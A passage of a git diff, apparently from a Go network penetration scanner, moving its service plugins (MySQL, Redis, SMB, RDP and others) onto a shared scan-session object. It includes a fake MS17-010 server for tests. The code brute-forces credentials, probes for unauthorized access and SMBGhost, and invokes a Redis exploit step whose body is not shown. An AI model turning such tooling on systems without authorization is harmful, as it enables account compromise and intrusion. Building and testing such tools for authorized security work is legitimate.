cfg.doublePulsar = true + } +} + +func startMS17010FakeServer(t *testing.T, vulnerable bool, sessionSetupSize int, opts ...ms17010FakeServerOption) (string, func()) { + t.Helper() + + var cfg ms17010FakeServerConfig + for _, opt := range opts { + opt(&cfg) + } + + ln, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatalf("listen: %v", err) + } + + done := make(chan struct{}) + go func() { + defer close(done) + conn, err := ln.Accept() + if err != nil { + return + } + defer conn.Close() + + responses := [][]byte{ + makeMS17010Response(36), + makeMS17010Response(sessionSetupSize), + makeMS17010Response(36), + makeMS17010Response(36), + } + if len(responses[1]) >= 34 { + responses[1][32] = 0x34 + responses[1][33] = 0x12 + } + responses[2][28] = 0x78 + responses[2][29] = 0x56 + if vulnerable { + responses[3][9] = 0x05 + responses[3][10] = 0x02 + responses[3][11] = 0x00 + responses[3][12] = 0xc0 + responses = append(responses, makeMS17010Response(36)) + if cfg.doublePulsar { + responses[4][34] = 0x51 + } + } + + buf := make([]byte, 4096) + for _, response := range responses { + _ = conn.SetDeadline(time.Now().Add(time.Second)) + if _, err := conn.Read(buf); err != nil { + return + } + if _, err := conn.Write(response); err != nil { + return + } + } + }() + + cleanup := func() { + _ = ln.Close() + select { + case <-done: + case <-time.After(time.Second): + t.Fatal("fake server did not exit") + } + } + + return ln.Addr().String(), cleanup +} + +func makeMS17010Response(size int) []byte { + resp := make([]byte, size) + if size >= 4 { + resp[3] = byte(size - 4) + } + return resp +} diff --git a/plugins/services/mssql.go b/plugins/services/mssql.go index 0cb533c..a921b79 100644 --- a/plugins/services/mssql.go +++ b/plugins/services/mssql.go @@ -25,7 +25,9 @@ func NewMSSQLPlugin() *MSSQLPlugin { } } -func (p *MSSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *MSSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State if config.DisableBrute { return p.identifyService(ctx, info, config, state) } @@ -43,7 +45,7 @@ func (p *MSSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c // 使用公共框架进行并发凭据测试 authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "mssql", testConfig) @@ -63,7 +65,7 @@ func (p *MSSQLPlugin) createAuthFunc(info *common.HostInfo, config *common.Confi // doMSSQLAuth 执行MSSQL认证 func (p *MSSQLPlugin) doMSSQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { - connStr := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;database=master;connection timeout=%d", + connStr := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;database=master;encrypt=disable;connection timeout=%d", info.Host, cred.Username, cred.Password, info.Port, int64(config.Timeout.Seconds())) db, err := sql.Open("mssql", connStr) @@ -146,7 +148,7 @@ func classifyMSSQLErrorType(err error) ErrorType { func (p *MSSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { target := info.Target() - connStr := fmt.Sprintf("server=%s;user id=invalid;password=invalid;port=%d;database=master;connection timeout=%d", + connStr := fmt.Sprintf("server=%s;user id=invalid;password=invalid;port=%d;database=master;encrypt=disable;connection timeout=%d", info.Host, info.Port, int64(config.Timeout.Seconds())) db, err := sql.Open("mssql", connStr) diff --git a/plugins/services/mysql.go b/plugins/services/mysql.go index 543f3a2..933fe5e 100644 --- a/plugins/services/mysql.go +++ b/plugins/services/mysql.go @@ -36,9 +36,11 @@ func NewMySQLPlugin() *MySQLPlugin { } } -func (p *MySQLPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *MySQLPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State if config.DisableBrute { - return p.identifyService(info, config) + return p.identifyService(ctx, info, session) } credentials := GenerateCredentials("mysql", config) @@ -54,7 +56,7 @@ func (p *MySQLPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c // 使用公共框架进行并发凭据测试 authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "mysql", testConfig) @@ -137,10 +139,10 @@ func classifyMySQLErrorType(err error) ErrorType { return ClassifyError(err, mysqlAuthErrors, mysqlNetworkErrors) } -func (p *MySQLPlugin) identifyService(info *common.HostInfo, config *common.Config) *ScanResult { +func (p *MySQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - conn, err := common.SafeTCPDial(target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { return &ScanResult{ Success: false, @@ -150,7 +152,7 @@ func (p *MySQLPlugin) identifyService(info *common.HostInfo, config *common.Conf } defer func() { _ = conn.Close() }() - if banner := p.readMySQLBanner(conn, config); banner != "" { + if banner := p.readMySQLBanner(conn, session.Config); banner != "" { common.LogSuccess(i18n.Tr("mysql_service", target, banner)) return &ScanResult{ Type: plugins.ResultTypeService, diff --git a/plugins/services/neo4j.go b/plugins/services/neo4j.go index 5160b49..e67a6cc 100644 --- a/plugins/services/neo4j.go +++ b/plugins/services/neo4j.go @@ -25,7 +25,9 @@ func NewNeo4jPlugin() *Neo4jPlugin { } } -func (p *Neo4jPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *Neo4jPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() if config.DisableBrute { @@ -49,7 +51,7 @@ func (p *Neo4jPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c // 使用公共框架进行并发凭据测试 authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "neo4j", testConfig) diff --git a/plugins/services/netbios.go b/plugins/services/netbios.go index 1bef760..3165acb 100644 --- a/plugins/services/netbios.go +++ b/plugins/services/netbios.go @@ -29,7 +29,9 @@ func NewNetBIOSPlugin() *NetBIOSPlugin { // GetPorts 实现Plugin接口 // Scan 执行NetBIOS扫描 - 收集Windows主机和域信息 -func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() // 检查端口类型 @@ -49,7 +51,7 @@ func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, config netbiosInfo, err = p.queryNetBIOSNames(info.Host, config, state) } else { // TCP端口139 - NetBIOS会话服务 - netbiosInfo, err = p.queryNetBIOSSession(info.Host, config) + netbiosInfo, err = p.queryNetBIOSSession(ctx, info.Host, session) } if err != nil { @@ -184,16 +186,16 @@ func (p *NetBIOSPlugin) queryNetBIOSNames(host string, config *common.Config, st } // queryNetBIOSSession 查询NetBIOS会话服务(TCP 139) -func (p *NetBIOSPlugin) queryNetBIOSSession(host string, config *common.Config) (*NetBIOSInfo, error) { +func (p *NetBIOSPlugin) queryNetBIOSSession(ctx context.Context, host string, session *common.ScanSession) (*NetBIOSInfo, error) { target := fmt.Sprintf("%s:139", host) - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { return nil, fmt.Errorf("连接NetBIOS会话服务失败: %w", err) } defer func() { _ = conn.Close() }() - _ = conn.SetDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout)) // 发送SMB协商数据包 smbNegotiate1 := []byte{ diff --git a/plugins/services/oracle.go b/plugins/services/oracle.go index 4125ea9..2a6223f 100644 --- a/plugins/services/oracle.go +++ b/plugins/services/oracle.go @@ -24,11 +24,13 @@ func NewOraclePlugin() *OraclePlugin { } } -func (p *OraclePlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *OraclePlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } // 先测试未授权访问 @@ -48,7 +50,7 @@ func (p *OraclePlugin) Scan(ctx context.Context, info *common.HostInfo, config * // 使用公共框架进行并发凭据测试 authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "oracle", testConfig) @@ -178,10 +180,10 @@ func (p *OraclePlugin) testUnauthorizedAccess(ctx context.Context, info *common. return nil } -func (p *OraclePlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *OraclePlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { return &ScanResult{ Success: false, diff --git a/plugins/services/postgresql.go b/plugins/services/postgresql.go index e5ecc69..9d0c6f5 100644 --- a/plugins/services/postgresql.go +++ b/plugins/services/postgresql.go @@ -25,7 +25,9 @@ func NewPostgreSQLPlugin() *PostgreSQLPlugin { } } -func (p *PostgreSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *PostgreSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() if config.DisableBrute { @@ -49,7 +51,7 @@ func (p *PostgreSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, conf // 使用公共框架进行并发凭据测试 authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "postgresql", testConfig) diff --git a/plugins/services/rabbitmq.go b/plugins/services/rabbitmq.go index d19a4b4..419b917 100644 --- a/plugins/services/rabbitmq.go +++ b/plugins/services/rabbitmq.go @@ -26,11 +26,13 @@ func NewRabbitMQPlugin() *RabbitMQPlugin { } } -func (p *RabbitMQPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *RabbitMQPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } // 先检测未授权访问 @@ -50,7 +52,7 @@ func (p *RabbitMQPlugin) Scan(ctx context.Context, info *common.HostInfo, config // 使用公共框架进行并发凭据测试 authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "rabbitmq", testConfig) @@ -209,16 +211,16 @@ func (p *RabbitMQPlugin) testUnauthorizedAccess(ctx context.Context, info *commo } // testAMQPProtocol 检测AMQP协议 -func (p *RabbitMQPlugin) testAMQPProtocol(ctx context.Context, info *common.HostInfo, config *common.Config) *ScanResult { +func (p *RabbitMQPlugin) testAMQPProtocol(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { return nil } defer func() { _ = conn.Close() }() - _ = conn.SetDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout)) // 发送AMQP协议头 amqpHeader := []byte{0x41, 0x4d, 0x51, 0x50, 0x00, 0x00, 0x09, 0x01} @@ -247,19 +249,21 @@ func (p *RabbitMQPlugin) testAMQPProtocol(ctx context.Context, info *common.Host return nil } -func (p *RabbitMQPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *RabbitMQPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { // 对于AMQP端口,检测AMQP协议 if info.Port == 5672 || info.Port == 5671 { - if result := p.testAMQPProtocol(ctx, info, config); result != nil && result.Success { + if result := p.testAMQPProtocol(ctx, info, session); result != nil && result.Success { return result } } // 检测HTTP管理界面 - return p.testManagementInterface(ctx, info, config, state) + return p.testManagementInterface(ctx, info, session) } -func (p *RabbitMQPlugin) testManagementInterface(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *RabbitMQPlugin) testManagementInterface(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port) diff --git a/plugins/services/rdp.go b/plugins/services/rdp.go index e144760..ee4145f 100644 --- a/plugins/services/rdp.go +++ b/plugins/services/rdp.go @@ -28,7 +28,9 @@ func NewRDPPlugin() *RDPPlugin { } // Scan 执行RDP扫描 - 系统指纹识别 + 真实暴力破解 -func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() // 配置grdp日志级别 diff --git a/plugins/services/redis.go b/plugins/services/redis.go index 35565dd..4058edd 100644 --- a/plugins/services/redis.go +++ b/plugins/services/redis.go @@ -31,21 +31,22 @@ func NewRedisPlugin() *RedisPlugin { } // Scan 执行Redis扫描 -func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config target := info.Target() // 如果禁用暴力破解,只做服务识别 if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } // 首先检查未授权访问 - if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success { + if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success { common.LogVuln(i18n.Tr("redis_unauth_success", target)) //nolint:govet // 如果需要利用,重新建立连接执行 if p.shouldExploit(config) { - p.exploitWithPassword(ctx, info, "", config) + p.exploitWithPassword(ctx, info, "", session) } return result } @@ -54,8 +55,8 @@ func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c credentials := GenerateCredentials("redis", config) // 使用公共框架进行并发凭据测试 - authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + authFn := p.createAuthFunc(info, session) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) testConfig.Concurrency = 20 // Redis 默认并发度更高 result := TestCredentialsConcurrently(ctx, credentials, authFn, "redis", testConfig) @@ -66,7 +67,7 @@ func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c // 如果需要利用,重新建立连接执行 if p.shouldExploit(config) { - p.exploitWithPassword(ctx, info, result.Password, config) + p.exploitWithPassword(ctx, info, result.Password, session) } } @@ -74,21 +75,20 @@ func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c } // createAuthFunc 创建Redis认证函数 -func (p *RedisPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc { +func (p *RedisPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc { return func(ctx context.Context, cred Credential) *AuthResult { - return p.doRedisAuth(ctx, info, cred, config, state) + return p.doRedisAuth(ctx, info, cred, session) } } // doRedisAuth 执行Redis认证 -func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { +func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult { target := info.Target() - timeout := config.Timeout + timeout := session.Config.Timeout // 建立TCP连接 - conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout) + conn, err := session.DialTCP(ctx, "tcp", target, timeout) if err != nil { - state.IncrementTCPFailedPacketCount() return &AuthResult{ Success: false, ErrorType: classifyRedisErrorType(err), @@ -167,7 +167,6 @@ func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cr responseStr := string(response[:n]) if !strings.Contains(responseStr, "PONG") { _ = conn.Close() - state.IncrementTCPFailedPacketCount() return &AuthResult{ Success: false, ErrorType: ErrorTypeUnknown, @@ -175,7 +174,6 @@ func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cr } } - state.IncrementTCPSuccessPacketCount() return &AuthResult{ Success: true, Conn: conn, @@ -202,10 +200,10 @@ func classifyRedisErrorType(err error) ErrorType { } // testUnauthorizedAccess 测试未授权访问 -func (p *RedisPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *RedisPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { emptyCred := Credential{Username: "", Password: ""} - result := p.doRedisAuth(ctx, info, emptyCred, config, state) + result := p.doRedisAuth(ctx, info, emptyCred, session) if result.Success { if result.Conn != nil { _ = result.Conn.Close() @@ -222,10 +220,10 @@ func (p *RedisPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H } // exploitWithPassword 使用指定密码建立连接并执行利用 -func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.HostInfo, password string, config *common.Config) { +func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.HostInfo, password string, session *common.ScanSession) { target := info.Target() - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { common.LogError(i18n.Tr("redis_reconnect_failed", err)) return @@ -235,28 +233,27 @@ func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.Host // 如果有密码,先认证 if password != "" { authCmd := fmt.Sprintf("AUTH %s\r\n", password) - _ = conn.SetWriteDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetWriteDeadline(time.Now().Add(session.Config.Timeout)) if _, writeErr := conn.Write([]byte(authCmd)); writeErr != nil { return } - _ = conn.SetReadDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetReadDeadline(time.Now().Add(session.Config.Timeout)) response := make([]byte, 512) if _, readErr := conn.Read(response); readErr != nil { return } } - p.exploit(ctx, info, conn, password, config) + p.exploit(ctx, info, conn, password, session.Config) } // identifyService 服务识别 -func (p *RedisPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *RedisPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - timeout := config.Timeout + timeout := session.Config.Timeout - conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout) + conn, err := session.DialTCP(ctx, "tcp", target, timeout) if err != nil { - state.IncrementTCPFailedPacketCount() return &ScanResult{ Success: false, Service: "redis", @@ -300,7 +297,6 @@ func (p *RedisPlugin) identifyService(ctx context.Context, info *common.HostInfo banner = "Redis服务" } - state.IncrementTCPSuccessPacketCount() common.LogSuccess(i18n.Tr("redis_service_identified", target, banner)) //nolint:govet return &ScanResult{ diff --git a/plugins/services/rsync.go b/plugins/services/rsync.go index e7f84e2..9256af1 100644 --- a/plugins/services/rsync.go +++ b/plugins/services/rsync.go @@ -28,17 +28,18 @@ func NewRsyncPlugin() *RsyncPlugin { } } -func (p *RsyncPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *RsyncPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config target := info.Target() if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } var findings []string // 检测未授权访问 - if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success { + if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success { common.LogSuccess(i18n.Tr("rsync_service", target, result.Banner)) findings = append(findings, result.Banner) } @@ -68,8 +69,8 @@ func (p *RsyncPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c } // 使用公共框架进行并发凭据测试 - authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + authFn := p.createAuthFunc(info, session) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, creds, authFn, "rsync", testConfig) @@ -95,16 +96,16 @@ func (p *RsyncPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c } // createAuthFunc 创建Rsync认证函数 -func (p *RsyncPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc { +func (p *RsyncPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc { return func(ctx context.Context, cred Credential) *AuthResult { - return p.doRsyncAuth(ctx, info, cred, config, state) + return p.doRsyncAuth(ctx, info, cred, session) } } // doRsyncAuth 执行Rsync认证 -func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { +func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult { // 先获取可用模块列表 - conn := p.connectToRsync(ctx, info, config, state) + conn := p.connectToRsync(ctx, info, session) if conn == nil { return &AuthResult{ Success: false, @@ -112,7 +113,7 @@ func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cr Error: fmt.Errorf("无法连接到Rsync服务"), } } - modules := p.getModules(conn, config) + modules := p.getModules(conn, session.Config) _ = conn.Close() if len(modules) == 0 { @@ -140,7 +141,6 @@ func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cr ) if err != nil { - state.IncrementTCPFailedPacketCount() errMsg := err.Error() if common.ContainsAny(errMsg, "auth", "password") { return &AuthResult{ @@ -156,7 +156,6 @@ func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cr } } - state.IncrementTCPSuccessPacketCount() return &AuthResult{ Success: true, Conn: &rsyncConnWrapper{}, @@ -206,14 +205,14 @@ func classifyRsyncErrorType(err error) ErrorType { } // testUnauthorizedAccess 测试未授权访问 -func (p *RsyncPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { - conn := p.connectToRsync(ctx, info, config, state) +func (p *RsyncPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + conn := p.connectToRsync(ctx, info, session) if conn == nil { return nil } defer func() { _ = conn.Close() }() - modules := p.getModules(conn, config) + modules := p.getModules(conn, session.Config) if len(modules) > 0 { banner := fmt.Sprintf("未授权访问 - 可用模块: %s", strings.Join(modules, ", ")) @@ -229,22 +228,18 @@ func (p *RsyncPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H } // connectToRsync 连接到Rsync服务 -func (p *RsyncPlugin) connectToRsync(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) net.Conn { +func (p *RsyncPlugin) connectToRsync(ctx context.Context, info *common.HostInfo, session *common.ScanSession) net.Conn { target := info.Target() + timeout := session.Config.Timeout connChan := make(chan net.Conn, 1) go func() { - timeout := config.Timeout - - conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout) + conn, err := session.DialTCP(ctx, "tcp", target, timeout) if err != nil { - state.IncrementTCPFailedPacketCount() connChan <- nil return } - - state.IncrementTCPSuccessPacketCount() _ = conn.SetDeadline(time.Now().Add(timeout)) connChan <- conn }() @@ -253,7 +248,6 @@ func (p *RsyncPlugin) connectToRsync(ctx context.Context, info *common.HostInfo, case conn := <-connChan: return conn case <-ctx.Done(): - // context 被取消,启动清理协程等待并关闭可能创建的连接 go func() { conn := <-connChan if conn != nil { @@ -326,10 +320,10 @@ func (p *RsyncPlugin) getModules(conn net.Conn, config *common.Config) []string } // identifyService Rsync服务识别 -func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - conn := p.connectToRsync(ctx, info, config, state) + conn := p.connectToRsync(ctx, info, session) if conn == nil { return &ScanResult{ Success: false, @@ -339,7 +333,7 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo } defer func() { _ = conn.Close() }() - timeout := config.Timeout + timeout := session.Config.Timeout _ = conn.SetWriteDeadline(time.Now().Add(timeout)) if _, err := conn.Write([]byte("\n")); err != nil { diff --git a/plugins/services/smb.go b/plugins/services/smb.go index fa0c4e2..ff0baab 100644 --- a/plugins/services/smb.go +++ b/plugins/services/smb.go @@ -24,7 +24,9 @@ func NewSmbPlugin() *SmbPlugin { } } -func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config + state := session.State target := info.Target() // 检查端口 @@ -37,23 +39,21 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com } // 1. 协议探测和信息收集 - smbTarget, err := probeTarget(info.Host, info.Port, config.Timeout) + smbTarget, err := probeTarget(ctx, info.Host, info.Port, config.Timeout, session) if err != nil { - state.IncrementTCPFailedPacketCount() return &ScanResult{ Success: false, Service: "smb", Error: fmt.Errorf("SMB协议探测失败: %w", err), } } - state.IncrementTCPSuccessPacketCount() // 输出信息收集结果 p.logSMBInfo(target, smbTarget) // 2. 漏洞检测 (仅SMBv2+且端口445) if smbTarget.Protocol == SMBProtocol2 && info.Port == 445 { - if checkSMBGhost(info.Host, config.Timeout) { + if checkSMBGhost(ctx, info.Host, config.Timeout, session) { smbTarget.Vulnerable = &SMBVuln{CVE20200796: true} common.LogVuln(i18n.Tr("smbghost_vuln", target)) } @@ -68,7 +68,7 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com auth := p.getAuthenticator(smbTarget.Protocol) // 4. 未授权访问检测 - if result := p.testUnauthorizedAccess(ctx, info, auth, config, state); result != nil && result.Success { + if result := p.testUnauthorizedAccess(ctx, info, auth, config, state, session); result != nil && result.Success { var successMsg string if config.Credentials.Domain != "" { successMsg = fmt.Sprintf("SMB %s 未授权访问 - %s\\%s:%s", target, config.Credentials.Domain, result.Username, result.Password) @@ -90,8 +90,8 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com creds[i] = Credential{Username: c.Username, Password: c.Password} } - authFn := p.createAuthFunc(info, auth, config, state) - testConfig := DefaultConcurrentTestConfig(config) + authFn := p.createAuthFunc(info, auth, session) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, creds, authFn, "smb", testConfig) @@ -117,20 +117,16 @@ func (p *SmbPlugin) getAuthenticator(protocol SMBProtocol) SMBAuthenticator { } // createAuthFunc 创建认证函数 -func (p *SmbPlugin) createAuthFunc(info *common.HostInfo, auth SMBAuthenticator, config *common.Config, state *common.State) AuthFunc { +func (p *SmbPlugin) createAuthFunc(info *common.HostInfo, auth SMBAuthenticator, session *common.ScanSession) AuthFunc { + config := session.Config return func(ctx context.Context, cred Credential) *AuthResult { - result, _ := auth.Authenticate(ctx, info.Host, info.Port, cred, config.Credentials.Domain, config.Timeout) - if result.Success { - state.IncrementTCPSuccessPacketCount() - } else { - state.IncrementTCPFailedPacketCount() - } + result, _ := auth.Authenticate(ctx, info.Host, info.Port, cred, config.Credentials.Domain, config.Timeout, session) return result } } // testUnauthorizedAccess 测试未授权访问 -func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, auth SMBAuthenticator, config *common.Config, state *common.State) *ScanResult { +func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, auth SMBAuthenticator, config *common.Config, state *common.State, session *common.ScanSession) *ScanResult { target := info.Target() unauthorizedCreds := []Credential{ @@ -140,7 +136,7 @@ func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.Hos } for _, cred := range unauthorizedCreds { - shareInfo, err := auth.ListShares(ctx, info.Host, info.Port, cred, config.Credentials.Domain, config.Timeout) + shareInfo, err := auth.ListShares(ctx, info.Host, info.Port, cred, config.Credentials.Domain, config.Timeout, session) if err == nil && len(shareInfo) > 0 { var output strings.Builder displayUser := cred.Username diff --git a/plugins/services/smb_protocol.go b/plugins/services/smb_protocol.go index 4ff749e..d4aac21 100644 --- a/plugins/services/smb_protocol.go +++ b/plugins/services/smb_protocol.go @@ -201,10 +201,10 @@ var ( ) // probeTarget 探测目标SMB信息(协议版本、系统信息) -func probeTarget(host string, port int, timeout time.Duration) (*SMBTarget, error) { +func probeTarget(ctx context.Context, host string, port int, timeout time.Duration, session *common.ScanSession) (*SMBTarget, error) { target := fmt.Sprintf("%s:%d", host, port) - conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout) + conn, err := session.DialTCP(ctx, "tcp", target, 